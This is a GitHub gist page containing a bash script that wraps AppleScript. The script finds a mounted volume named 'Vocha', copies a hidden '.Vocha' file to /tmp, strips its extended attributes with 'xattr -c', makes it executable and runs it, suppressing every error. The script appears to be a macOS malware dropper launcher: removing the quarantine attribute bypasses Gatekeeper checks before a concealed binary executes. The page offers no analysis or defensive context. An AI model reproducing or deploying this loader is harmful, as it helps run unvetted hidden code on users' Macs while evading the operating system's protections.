Skip to content

Instantly share code, notes, and snippets.

@jdagdelen
Created June 2, 2025 22:14
Show Gist options
  • Save jdagdelen/e3be0669714445a294abed5962bf1f12 to your computer and use it in GitHub Desktop.
Save jdagdelen/e3be0669714445a294abed5962bf1f12 to your computer and use it in GitHub Desktop.
#!/bin/bash
osascript -e 'on run
try
set diskList to list disks
end try
set targetDisk to ""
try
repeat with disk in diskList
if disk contains "Vocha" then
set targetDisk to disk
exit repeat
end if
end repeat
end try
if targetDisk is "" then
return
end if
set folderPath to "/Volumes/" & targetDisk & "/"
set appName to ".Vocha"
set appPath to folderPath & appName
set tempAppPath to "/tmp/" & appName
try
do shell script "rm -f " & quoted form of tempAppPath
end try
try
do shell script "cp " & quoted form of appPath & " " & quoted form of tempAppPath
end try
try
do shell script "xattr -c " & quoted form of tempAppPath
end try
try
do shell script "chmod +x " & quoted form of tempAppPath
end try
try
do shell script quoted form of tempAppPath
end try
end run'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment